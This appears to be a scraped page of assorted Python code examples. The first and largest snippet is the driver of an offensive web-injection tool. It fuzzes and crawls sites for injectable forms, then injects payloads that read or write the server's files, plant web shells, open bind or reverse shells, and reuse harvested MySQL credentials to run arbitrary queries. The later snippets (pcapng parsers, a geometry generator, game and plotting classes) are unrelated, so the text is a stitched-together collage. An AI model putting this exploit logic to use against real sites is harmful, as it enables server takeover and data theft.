						url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,bind=1,address=opt.bindShell.split(":")[0],port=opt.bindShell.split(":")[1]))
						xbuilder().inject(url,seed)
						return
					if (opt.reverShell != None): 
						url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,reverse=1,address=opt.reverShell.split(":")[0],port=opt.reverShell.split(":")[1]))
						xbuilder().inject(url,seed)
						return
					''' EXPIREMENTAL, DB SUPPORT MYSQL 5.1>'''	
					if (opt.dbHook != None): 	
						url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,hook=1))
						string = xbuilder().inject(url,seed)[1]
						if ("$" != string[1].replace("<?php ","")):
							host,user,passw = (string.split("(")[1].split(",")[0].replace("'",""),string.split("(")[1].split(",")[1].replace("'","").strip(),string.split("(")[1].split(",")[2].split("\n")[0][:-2].strip())
							if (passw == "''"):
								hook = """$link = mysql_connect('%s', '%s', ''); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query('%s'); if (!$result) { $message  = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $query; die($message);} while ($row = mysql_fetch_row($result)) { foreach ($row as $columnName => $columnData) { echo $columnData; } } mysql_free_result($result);""" % (host,user,opt.dbHook)
							else:
								hook = """$link = mysql_connect('%s', '%s', '%s'); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query('%s'); if (!$result) { $message  = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $query; die($message);} while ($row = mysql_fetch_row($result)) { foreach ($row as $columnName => $columnData) { echo $columnData; } } mysql_free_result($result);""" % (host,user,passw,opt.dbHook)
							url,seed = xbuilder().return_bypass_exploit(vulnTarget,hook)
							print xbuilder().inject(url,seed)[1]
							return
						else:
							print "[*] string not in correct format"
							return						
		if opt.crawl == True: 
			try:
				if opt.basicAuth is not None:
					queue = Crawl().crawl(opt.url,opt.crawlDepth,opt.restrict_domain,opt.basicAuth,None)
				elif opt.cookieValue is not None:
					queue = Crawl().crawl(opt.url,opt.crawlDepth,opt.restrict_domain,None,opt.basicAuth)
				else: queue = Crawl().crawl(opt.url,opt.crawlDepth,opt.restrict_domain,None,None)	
				print "[*] found %s urls to crawl" % (len(queue))
			except:
				return
			for url in queue:	
				try:
					if opt.basicAuth is not None:
						getForm,postForm = FRMFind().search(url,opt.basicAuth,None)
					elif opt.cookieValue is not None:
						getForm,postForm = FRMFind().search(url,None,opt.basicAuth)
					else: getForm,postForm = FRMFind().search(url,None,None)
				except:
					return
				for form in getForm.keys(): 
					vulnUrl = "%s//%s/%s" % (url.split("/")[0],url.split("/")[2],form[:-1])
					isVuln,vulnDeets = VulnDB().is_vuln('crawl',url=vulnUrl)
					if isVuln is True:
						print "URL has been exploited previously.. resuming attack"
						vulnTarget =  "%s?%s=%s%s" % (vulnDeets[0],vulnDeets[1],vulnDeets[2],vulnDeets[3])
						function = xbuilder().find_func(vulnTarget)
						if (opt.fsRead != None): 
							url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,fs_read=opt.fsRead))
							print xbuilder().inject(url,seed)[1]
							return
						if (opt.fsWrite != None): 
							url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,fs_write=opt.fsWrite.split(":")[0],location=opt.fsWrite.split(":")[1]))
							print xbuilder().inject(url,seed)[1]
							return
						if (opt.osShell != None): 
							url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,web_shell=opt.osShell))
							print xbuilder().inject(url,seed)[1]
							return
						if (opt.bindShell != None): 
							url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,bind=1,address=opt.bindShell.split(":")[0],port=opt.bindShell.split(":")[1]))
							xbuilder().inject(url,seed)
							return
						if (opt.reverShell != None): 
							url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,reverse=1,address=opt.reverShell.split(":")[0],port=opt.reverShell.split(":")[1]))
							xbuilder().inject(url,seed)
							return
						''' EXPIREMENTAL, DB SUPPORT MYSQL 5.1>'''	
						if (opt.dbHook != None): 	
							url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,hook=1))
							string = xbuilder().inject(url,seed)[1]
							if ("$" != string[1].replace("<?php ","")):
								host,user,passw = (string.split("(")[1].split(",")[0].replace("'",""),string.split("(")[1].split(",")[1].replace("'","").strip(),string.split("(")[1].split(",")[2].split("\n")[0][:-2].strip())
								if (passw == "''"):
									hook = """$link = mysql_connect('%s', '%s', ''); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query('%s'); if (!$result) { $message  = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $query; die($message);} while ($row = mysql_fetch_row($result)) { foreach ($row as $columnName => $columnData) { echo $columnData; } } mysql_free_result($result);""" % (host,user,opt.dbHook)
								else:
									hook = """$link = mysql_connect('%s', '%s', '%s'); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query('%s'); if (!$result) { $message  = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $query; die($message);} while ($row = mysql_fetch_row($result)) { foreach ($row as $columnName => $columnData) { echo $columnData; } } mysql_free_result($result);""" % (host,user,passw,opt.dbHook)
								url,seed = xbuilder().return_bypass_exploit(vulnTarget,hook)
								print xbuilder().inject(url,seed)[1]
								return
							else:
								print "[*] string not in correct format"
								return							
		else: 
			isVuln,vulnDeets = VulnDB().is_vuln('get',url=opt.url.split("?")[0])
			if isVuln is True:
				print "URL has been exploited previously.. resuming attack"
				vulnTarget =  "%s?%s=%s%s" % (vulnDeets[0],vulnDeets[1],vulnDeets[2],vulnDeets[3])
				function = xbuilder().find_func(vulnTarget)
				if (opt.fsRead != None): 
					url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,fs_read=opt.fsRead))
					print xbuilder().inject(url,seed)[1]
					return
				if (opt.fsWrite != None): 
					url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,fs_write=opt.fsWrite.split(":")[0],location=opt.fsWrite.split(":")[1]))
					print xbuilder().inject(url,seed)[1]
					return
				if (opt.osShell != None): 
					url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,web_shell=opt.osShell))
					print xbuilder().inject(url,seed)[1]
					return
				if (opt.bindShell != None): 
					url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,bind=1,address=opt.bindShell.split(":")[0],port=opt.bindShell.split(":")[1]))
					xbuilder().inject(url,seed)
					return
				if (opt.reverShell != None): 
					url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,reverse=1,address=opt.reverShell.split(":")[0],port=opt.reverShell.split(":")[1]))
					xbuilder().inject(url,seed)
					return
				''' EXPIREMENTAL, DB SUPPORT MYSQL 5.1>'''	
				if (opt.dbHook != None): 	
					url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,hook=1))
					string = xbuilder().inject(url,seed)[1]
					if ("$" != string[1].replace("<?php ","")):
						host,user,passw = (string.split("(")[1].split(",")[0].replace("'",""),string.split("(")[1].split(",")[1].replace("'","").strip(),string.split("(")[1].split(",")[2].split("\n")[0][:-2].strip())
						if (passw == "''"):
							hook = """$link = mysql_connect('%s', '%s', ''); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query('%s'); if (!$result) { $message  = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $query; die($message);} while ($row = mysql_fetch_row($result)) { foreach ($row as $columnName => $columnData) { echo $columnData; } } mysql_free_result($result);""" % (host,user,opt.dbHook)
						else:
							hook = """$link = mysql_connect('%s', '%s', '%s'); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query('%s'); if (!$result) { $message  = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $query; die($message);} while ($row = mysql_fetch_row($result)) { foreach ($row as $columnName => $columnData) { echo $columnData; } } mysql_free_result($result);""" % (host,user,passw,opt.dbHook)
						url,seed = xbuilder().return_bypass_exploit(vulnTarget,hook)
						print xbuilder().inject(url,seed)[1]
						return
					else:
						print "[*] string not in correct format"
						return					
		
		#find and exploit forms
		if opt.forms == True:
			try:
				if opt.basicAuth is not None:
					getForm,postForm = FRMFind().search(opt.url,opt.basicAuth,None)
				elif opt.cookieValue is not None:
					getForm,postForm = FRMFind().search(opt.url,None,opt.basicAuth)
				else: getForm,postForm = FRMFind().search(opt.url,None,None)
				print "[*] found %s GET inputs and %s POST inputs" % (len(getForm),len(postForm))
			except:
				return
			for form in getForm.keys():
				print "[*] name: %s params: %s" % (form, getForm[form])
				a = raw_input("[*] Do you want to test this form? Y/N ")
				if (a == "Y" or a == "y"):
					vuln,vulnTarget = Attack().vuln_detect("%s//%s/%s" % (opt.url.split("/")[0],opt.url.split("/")[2],form[:-1]),Attack().fuzz_gen(getForm[form]))
					if (vuln == True):
						print "[*] performing false positive reduction"
						if (Attack().reduce_false(vulnTarget) == True):
							a = raw_input("[*] Do you want to exploit this vulnerability? Y/N ")
							if (a == "Y" or a == "y"):
								function = xbuilder().find_func(vulnTarget)
								VulnDB().new_vuln('get',url=vulnTarget.split("?")[0],param=vulnTarget.split("?")[1].split("=")[0],originalvalue=vulnTarget.split("?")[1].split("=")[1].find("%"),payload=vulnTarget.split("?")[1].split("=")[1][len(str(vulnTarget.split("?")[1].split("=")[1].find("%"))):],formName=form,method='get')
								if (opt.fsRead != None): 
									url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,fs_read=opt.fsRead))
									print xbuilder().inject(url,seed)[1]
								if (opt.fsWrite != None): 
									url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,fs_write=opt.fsWrite.split(":")[0],location=opt.fsWrite.split(":")[1]))
									print xbuilder().inject(url,seed)[1]
								if (opt.osShell != None): 
									url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,web_shell=opt.osShell))
									print xbuilder().inject(url,seed)[1]
								if (opt.bindShell != None): 
									url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,bind=1,address=opt.bindShell.split(":")[0],port=opt.bindShell.split(":")[1]))
									xbuilder().inject(url,seed)
								if (opt.reverShell != None): 
									url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,reverse=1,address=opt.reverShell.split(":")[0],port=opt.reverShell.split(":")[1]))
									xbuilder().inject(url,seed)
								''' EXPIREMENTAL, DB SUPPORT MYSQL 5.1>'''	
								if (opt.dbHook != None): 	
									url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,hook=1))
									string = xbuilder().inject(url,seed)[1]
									if ("$" != string[1].replace("<?php ","")):
										host,user,passw = (string.split("(")[1].split(",")[0].replace("'",""),string.split("(")[1].split(",")[1].replace("'","").strip(),string.split("(")[1].split(",")[2].split("\n")[0][:-2].strip())
										if (passw == "''"):
											hook = """$link = mysql_connect('%s', '%s', ''); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query('%s'); if (!$result) { $message  = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $query; die($message);} while ($row = mysql_fetch_row($result)) { foreach ($row as $columnName => $columnData) { echo $columnData; } } mysql_free_result($result);""" % (host,user,opt.dbHook)
										else:
											hook = """$link = mysql_connect('%s', '%s', '%s'); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query('%s'); if (!$result) { $message  = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $query; die($message);} while ($row = mysql_fetch_row($result)) { foreach ($row as $columnName => $columnData) { echo $columnData; } } mysql_free_result($result);""" % (host,user,passw,opt.dbHook)
										url,seed = xbuilder().return_bypass_exploit(vulnTarget,hook)
										print xbuilder().inject(url,seed)[1]
										return
									else:
										print "[*] string not in correct format"
										return									
							elif (a == "N" or a == "n"):
								continue
							else:
								print "[*] invalid answer, skipping"
								continue												
				elif (a == "N" or a == "n"):
					continue
				else:
					print "[*] invalid answer, skipping"
					continue
			return
			
		#crawl for forms to exploit
		elif opt.crawl == True:
			try:
				if opt.basicAuth is not None:
					queue = Crawl().crawl(opt.url,opt.crawlDepth,opt.restrict_domain,opt.basicAuth,None)
				elif opt.cookieValue is not None:
					queue = Crawl().crawl(opt.url,opt.crawlDepth,opt.restrict_domain,None,opt.basicAuth)
				else: queue = Crawl().crawl(opt.url,opt.crawlDepth,opt.restrict_domain,None,None)	
				print "[*] found %s urls to crawl" % (len(queue))
			except:
				return
			for url in queue:
				if opt.basicAuth is not None:
					getForm,postForm = FRMFind().search(opt.url,opt.basicAuth,None)
				elif opt.cookieValue is not None:
					getForm,postForm = FRMFind().search(opt.url,None,opt.basicAuth)
				else: getForm,postForm = FRMFind().search(opt.url,None,None)
				print "[*] found %s GET inputs and %s POST inputs" % (len(getForm),len(postForm))
				for form in getForm.keys():
					print "[*] name: %s params: %s" % (form, getForm[form])
					a = raw_input("[*] Do you want to test this form? Y/N ")
					if (a == "Y" or a == "y"):
						vuln,vulnTarget = Attack().vuln_detect("%s//%s%s" % (opt.url.split("/")[0],opt.url.split("/")[2],form[:-1]),Attack().fuzz_gen(getForm[form]))
						if (vuln == True):
							print "[*] performing false positive reduction"	
							if (Attack().reduce_false(vulnTarget) == True):
								a = raw_input("[*] Do you want to exploit this vulnerability? Y/N ")
								if (a == "Y" or a == "y"):
									from exploitbuilder import xbuilder
									function = xbuilder().find_func(vulnTarget)
									from vulndb import VulnDB
									VulnDB().new_vuln('get',url=vulnTarget.split("?")[0],param=vulnTarget.split("?")[1].split("=")[0],originalvalue=vulnTarget.split("?")[1].split("=")[1].find("%"),payload=vulnTarget.split("?")[1].split("=")[1][len(str(vulnTarget.split("?")[1].split("=")[1].find("%"))):],formName=form,method='get')
									if (opt.fsRead != None): 
										url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,fs_read=opt.fsRead))
										print xbuilder().inject(url,seed)[1]
									if (opt.fsWrite != None): 
										url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,fs_write=opt.fsWrite.split(":")[0],location=opt.fsWrite.split(":")[1]))
										print xbuilder().inject(url,seed)[1]
									if (opt.osShell != None): 
										url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,web_shell=opt.osShell))
										print xbuilder().inject(url,seed)[1]
									if (opt.bindShell != None): 
										url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,bind=1,address=opt.bindShell.split(":")[0],port=opt.bindShell.split(":")[1]))
										xbuilder().inject(url,seed)
									if (opt.reverShell != None): 
										url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,reverse=1,address=opt.reverShell.split(":")[0],port=opt.reverShell.split(":")[1]))
										xbuilder().inject(url,seed)
									''' EXPIREMENTAL, DB SUPPORT MYSQL 5.1>'''	
									if (opt.dbHook != None): 	
										url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,hook=1))
										string = xbuilder().inject(url,seed)[1]
										if ("$" != string[1].replace("<?php ","")):
											host,user,passw = (string.split("(")[1].split(",")[0].replace("'",""),string.split("(")[1].split(",")[1].replace("'","").strip(),string.split("(")[1].split(",")[2].split("\n")[0][:-2].strip())
											if (passw == "''"):
												hook = """$link = mysql_connect('%s', '%s', ''); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query('%s'); if (!$result) { $message  = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $query; die($message);} while ($row = mysql_fetch_row($result)) { foreach ($row as $columnName => $columnData) { echo $columnData; } } mysql_free_result($result);""" % (host,user,opt.dbHook)
											else:
												hook = """$link = mysql_connect('%s', '%s', '%s'); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query('%s'); if (!$result) { $message  = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $query; die($message);} while ($row = mysql_fetch_row($result)) { foreach ($row as $columnName => $columnData) { echo $columnData; } } mysql_free_result($result);""" % (host,user,passw,opt.dbHook)
											url,seed = xbuilder().return_bypass_exploit(vulnTarget,hook)
											print xbuilder().inject(url,seed)[1]
											return
										else:
											print "[*] string not in correct format"
											return										
								elif (a == "N" or a == "n"):
									continue
								else:
									print "[*] invalid answer, skipping"
									continue							
					elif (a == "N" or a == "n"):
						continue
					else:
						print "[*] invalid answer, skipping"
						continue
			return
		else:
		
			#exploit get variables
			if "?" in opt.url:
				url,params = opt.url.split("?")[0],opt.url.split("?")[1]
				new = {}
				for i in params.split("&"):
					new[i.split("=")[0]] = i.split("=")[1]
				vuln,vulnTarget = Attack().vuln_detect(url,Attack().fuzz_gen(new))
				if (vuln == True):
					print "[*] performing false positive reduction"
					if (Attack().reduce_false(vulnTarget) == True):
						a = raw_input("[*] Do you want to exploit this vulnerability? Y/N ")
						if (a == "Y" or a == "y"):
							from exploitbuilder import xbuilder
							function = xbuilder().find_func(vulnTarget)
							if (function != 0):
								VulnDB().new_vuln('get',url=vulnTarget.split("?")[0],param=vulnTarget.split("?")[1].split("=")[0],originalvalue=vulnTarget.split("?")[1].split("=")[1].find("%"),payload=vulnTarget.split("?")[1].split("=")[1][len(str(vulnTarget.split("?")[1].split("=")[1].find("%"))):])
								if (opt.fsRead != None): 
									url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,fs_read=opt.fsRead))
									print xbuilder().inject(url,seed)[1]
								if (opt.fsWrite != None): 
									url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,fs_write=opt.fsWrite.split(":")[0],location=opt.fsWrite.split(":")[1]))
									print xbuilder().inject(url,seed)[1]
								if (opt.osShell != None): 
									url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,web_shell=opt.osShell))
									print xbuilder().inject(url,seed)[1]
								if (opt.bindShell != None): 
									url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,bind=1,address=opt.bindShell.split(":")[0],port=opt.bindShell.split(":")[1]))
									xbuilder().inject(url,seed)
								if (opt.reverShell != None): 
									url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,reverse=1,address=opt.reverShell.split(":")[0],port=opt.reverShell.split(":")[1]))
									xbuilder().inject(url,seed)
								''' EXPIREMENTAL, DB SUPPORT MYSQL 5.1>'''	
								if (opt.dbHook != None): 	
									url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,hook=1))
									string = xbuilder().inject(url,seed)[1]
									if ("$" != string[1].replace("<?php ","")):
										host,user,passw = (string.split("(")[1].split(",")[0].replace("'",""),string.split("(")[1].split(",")[1].replace("'","").strip(),string.split("(")[1].split(",")[2].split("\n")[0][:-2].strip())
										if (passw == "''"):
											hook = """$link = mysql_connect('%s', '%s', ''); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query('%s'); if (!$result) { $message  = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $query; die($message);} while ($row = mysql_fetch_row($result)) { foreach ($row as $columnName => $columnData) { echo $columnData+'\n'; } } mysql_free_result($result); mysql_close($link);""" % (host,user,opt.dbHook)
										else:
											hook = """$link = mysql_connect('%s', '%s', '%s'); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query('%s'); if (!$result) { $message  = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $query; die($message);} while ($row = mysql_fetch_row($result)) { foreach ($row as $columnName => $columnData) { echo $columnData+'\n'; } } mysql_free_result($result); mysql_close($link);""" % (host,user,passw,opt.dbHook)
										url,seed = xbuilder().return_bypass_exploit(vulnTarget,hook)
										print xbuilder().inject(url,seed)[1]
										return
									else:
										print "[*] string not in correct format"
										return
				return
				
			else:
				#nothing to inject
				print "[*] no injection points specified"
				return
		return
	else:
		print "[*] the URL was not provided"
		return
示例#25
0
class InterfaceDescription:
    def __init__(self, section):
        self.section = section
        self.block_type_int = INTERFACE_DESCRIPTION_BLOCK_INT
        self.block_type_packed = struct.pack(
            "%sI" % (self.section.sectionHeader.endianness),
            self.block_type_int)

        self.block_total_length_first_int = 0
        self.block_total_length_first_packed = "\x00\x00\x00\x00"

        self.link_type_int = 0
        self.link_type_packed = "\x00\x00"
        self.reserved_int = 0
        self.reserved_packed = "\x00\x00"
        self.snaplen_int = 0
        self.snaplen_packed = "\x00\x00\x00\x00"

        self.options = None
        self.block_total_length_last_int = 0
        self.block_total_length_last_packed = "\x00\x00\x00\x00"

        self.block_size = INTERFACE_DESCRIPTION_BLOCK_BODY_SIZE_FIXED

    def Read(self, inp):
        self.block_total_length_first_packed = inp.read(4)
        self.block_total_length_first_int = struct.unpack(
            "%sI" % (self.section.sectionHeader.endianness),
            self.block_total_length_first_packed)[0]

        self.link_type_packed = inp.read(2)
        self.link_type_int = struct.unpack(
            "%sH" % (self.section.sectionHeader.endianness),
            self.link_type_packed)[0]
        self.reserved_packed = inp.read(2)
        self.reserved_int = struct.unpack(
            "%sH" % (self.section.sectionHeader.endianness),
            self.reserved_packed)[0]
        self.snaplen_packed = inp.read(4)
        self.snaplen_int = struct.unpack(
            "%sI" % (self.section.sectionHeader.endianness),
            self.snaplen_packed)[0]

        if self.block_total_length_first_int != self.block_size:
            self.options = Options(self.section, self.block_type_int)
            self.options.Read(inp)
            self.block_size += self.options.size

        self.block_total_length_last_packed = inp.read(4)
        self.block_total_length_last_int = struct.unpack(
            "%sI" % (self.section.sectionHeader.endianness),
            self.block_total_length_last_packed)[0]

    def Write(self, out):
        out.write(self.block_total_length_first_packed)
        out.write(self.link_type_packed)
        out.write(self.reserved_packed)
        out.write(self.snaplen_packed)
        if self.options:
            self.options.Write(out)
        out.write(self.block_total_length_last_packed)

    def __repr__(self):
        ret = ""

        ret += "Block Type: 0x%08x (Interface Description)\n" % (
            self.block_type_int)
        ret += "Block Total Length First: %d\n" % (
            self.block_total_length_first_int)
        ret += "Block Total Length Last: %d\n" % (
            self.block_total_length_last_int)
        try:
            ret += "Link Type: %s (0x%04x)\n" % (
                linkTypeIntToStr[self.link_type_int], self.link_type_int)
        except KeyError:
            ret += "Link Type: Unknown (0x%04x)\n" % (self.link_type_int)
        ret += "Reserved: 0x%04x\n" % (self.reserved_int)
        ret += "Snap Length: %d\n" % (self.snaplen_int)
        if self.options:
            ret += "Options\n"
            ret += "\t%s\n" % (("%s" % self.options).replace("\n", "\n\t"))

        return ret[:-1]
示例#26
0
def tactoidRecursive(disks=[], depths=None, depth=0):
    o = Options()
    cubeEdgeLength = o.getProperty('cubeEdgeLength')
    numberOfDisks = o.getProperty('numberOfDisks')
    polygonalDiskThickness = o.getProperty('polygonalDiskThickness')
    polygonalDiskRadius = o.getProperty('polygonalDiskRadius')
    numberOfDisks = o.getProperty('numberOfDisks')
    maxAttempts = o.getProperty('maxAttempts')
    E_m = o.getProperty('E_m')
    nu_m = o.getProperty('nu_m')
    E_f = o.getProperty('E_f')
    nu_f = o.getProperty('nu_f')
    fname = o.getProperty('fname')
    interlayerThickness = o.getProperty('tactoidInterlayerThickness')
    tactoidStackNumber = o.getProperty('tactoidStackNumber')
    verticesNumber = o.getProperty('verticesNumber')
    recursionMaxAttempts = o.getProperty('recursionMaxAttempts')

    if numberOfDisks > 99:
        print('Too deep deep recursion is need to make the structure!')
        sys.exit()
    if len(disks) / tactoidStackNumber == numberOfDisks:
        printCSGMain(disks, fname)
        sys.exit()
    inititalLength = len(disks)
    DEPTHSTMP = copy.deepcopy(depths)
    for attempt in range(int(recursionMaxAttempts)):
        disksTmp = disks
        newDisks = []
        disk = DiskMadeOfDots(Point(0, 0, -polygonalDiskThickness / 2),
                              Point(0, 0, polygonalDiskThickness / 2),
                              polygonalDiskRadius, verticesNumber)
        for stackI in range(0, int((tactoidStackNumber - 1) / 2)):
            z1 = (polygonalDiskThickness * (0.5 + stackI) +
                  interlayerThickness * (1 + stackI))
            z2 = (polygonalDiskThickness * (1.5 + stackI) +
                  interlayerThickness * (1 + stackI))
            diskUp = DiskMadeOfDots(Point(0, 0, z1), Point(0, 0, z2),
                                    polygonalDiskRadius, verticesNumber)
            diskDown = DiskMadeOfDots(Point(0, 0, -z1), Point(0, 0, -z2),
                                      polygonalDiskRadius, verticesNumber)
            newDisks.append(diskUp)
            newDisks.append(diskDown)
        newDisks.append(disk)

        alpha = random.random() * 2 * math.pi
        beta = random.random() * 2 * math.pi
        gamma = random.random() * 2 * math.pi
        x = random.random() * cubeEdgeLength
        y = random.random() * cubeEdgeLength
        z = random.random() * cubeEdgeLength
        c = math.cos(alpha)
        s = math.sin(alpha)
        Malpha = [[1, 0, 0], [0, c, -s], [0, s, c]]
        for disk in newDisks:
            disk.rotate(Malpha)
        c = math.cos(beta)
        s = math.sin(beta)
        Mbeta = [[c, 0, s], [0, 1, 0], [-s, 0, c]]
        for disk in newDisks:
            disk.rotate(Mbeta)
        c = math.cos(gamma)
        s = math.sin(gamma)
        Mgamma = [[c, -s, 0], [s, c, 0], [0, 0, 1]]
        for disk in newDisks:
            disk.rotate(Mgamma)
        for disk in newDisks:
            disk.translate(Vector(Point(0, 0, 0), Point(x, y, z)))
        flag = 0
        for oldDisk in disks:
            if flag == 1:
                break
            for disk in newDisks:
                if disksCross(oldDisk, disk):
                    flag = 1
                    break
        for disk in newDisks:
            if boxCross(disk):
                flag = 1
                break
        if flag == 0:
            for disk in newDisks:
                disksTmp.append(disk)
        DEPTHSTMP[depth] += 1
        string = 'Depth = {0}, ready {1} of {2} '
        tactoidsNumber = len(disksTmp) / tactoidStackNumber
        print(string.format(DEPTHSTMP, tactoidsNumber, numberOfDisks))
        if inititalLength != len(disksTmp):
            disks = tactoidRecursive(disksTmp, DEPTHSTMP, depth + 1)
    return disks
from Connection import Connection
from Options import Options
from Character import Character
from NPC import NPC
from Location import Location
import json
from random import randint
from pprint import pprint

optionsInst = Options()

class Building():

	def __init__(self):
		pass

	def load_npcs(self, build_id):
		typ = self.connection.cursor.execute("""
			SELECT Type FROM Test.Building
			WHERE Test.Building. == %s 
			""", loc_id)

	def enter_building(self, build_type, player_id, location_id):
		npcInst = NPC()
		print("You enter the {}\n".format(build_type))
		npcInst.create_npc(player_id, build_type, location_id)

	def leave_building(self, player_id, location_id):
		characterInst = Character()
		locInst = Location()
		charName = characterInst.get_char_name(player_id)
def get_options():
    """
    Retuns options for vtkAxis objects.
    """
    opt = Options()
    opt.add('num_ticks',
            5,
            "The number of tick marks to place on the axis.",
            vtype=int)
    opt.add('lim', "The axis extents.", vtype=list)
    opt.add('color', [1, 1, 1], "The color of the axis, ticks, and labels.")
    opt.add('title', "The axis label.", vtype=str)
    opt.add('font_size',
            "The axis title and label font sizes, in points.",
            vtype=int)
    opt.add('title_font_size',
            "The axis title font size, in points.",
            vtype=int)
    opt.add('tick_font_size',
            "The axis tick label font size, in points.",
            vtype=int)
    opt.add('grid', True, "Show/hide the grid lines for this axis.")
    opt.add('grid_color', [0.25, 0.25, 0.25], "The color for the grid lines.")
    opt.add('precision', 3, "The axis numeric precision.", vtype=int)
    opt.add('notation',
            "The type of notation, leave empty to let VTK decide",
            vtype=str,
            allow=['standard', 'scientific', 'fixed', 'printf'])
    opt.add('ticks_visible', True,
            "Control visibility of tickmarks on colorbar axis.")
    opt.add('axis_visible', True,
            "Control visibility of axis line on colorbar axis.")
    opt.add('labels_visible', True,
            "Control visibility of the numeric labels.")
    opt.add('axis_position',
            'left',
            "Set the axis position (left, right, top, bottom)",
            vtype=str,
            allow=['left', 'right', 'top', 'bottom'])
    opt.add('axis_point1', [0, 0],
            'Starting location of axis, in absolute viewport coordinates.')
    opt.add('axis_point2', [0, 0],
            'Ending location of axis, in absolute viewport coordinates.')
    opt.add('axis_scale', 1, "The axis scaling factor.")
    return opt
示例#29
0
 def cmdLineOptions(self):
     """read the options form the command line"""
     self.opts = Options()
     self.opts.process()
     return self
示例#30
0
 def loadMainMenu(self):
     self.currentMenu = Menu(self.getCurrentLevelName())
示例#31
0
class NameResolution:
    def __init__(self, section):
        self.section = section
        self.block_type_int = NAME_RESOLUTION_BLOCK_INT
        self.block_type_packed = struct.pack(
            "%sI" % (self.section.sectionHeader.endianness),
            self.block_type_int)

        self.block_total_length_first_int = 0
        self.block_total_length_first_packed = "\x00\x00\x00\x00"

        self.records = None

        self.options = None
        self.block_total_length_last_int = 0
        self.block_total_length_last_packed = "\x00\x00\x00\x00"

        self.block_size = NAME_RESOLUTION_BLOCK_BODY_SIZE_FIXED

    def Read(self, inp):
        self.block_total_length_first_packed = inp.read(4)
        self.block_total_length_first_int = struct.unpack(
            "%sI" % (self.section.sectionHeader.endianness),
            self.block_total_length_first_packed)[0]

        self.records = Records(self.section)
        self.records.Read(inp)
        self.block_size += self.records.size

        #Align to 32 bit boundary
        while self.block_size % 4 != 0:
            self.block_size += 1
            inp.read(1)

        if self.block_total_length_first_int != self.block_size:
            self.options = Options(self.section, self.block_type_int)
            self.options.Read(inp)
            self.block_size += self.options.size

        self.block_total_length_last_packed = inp.read(4)
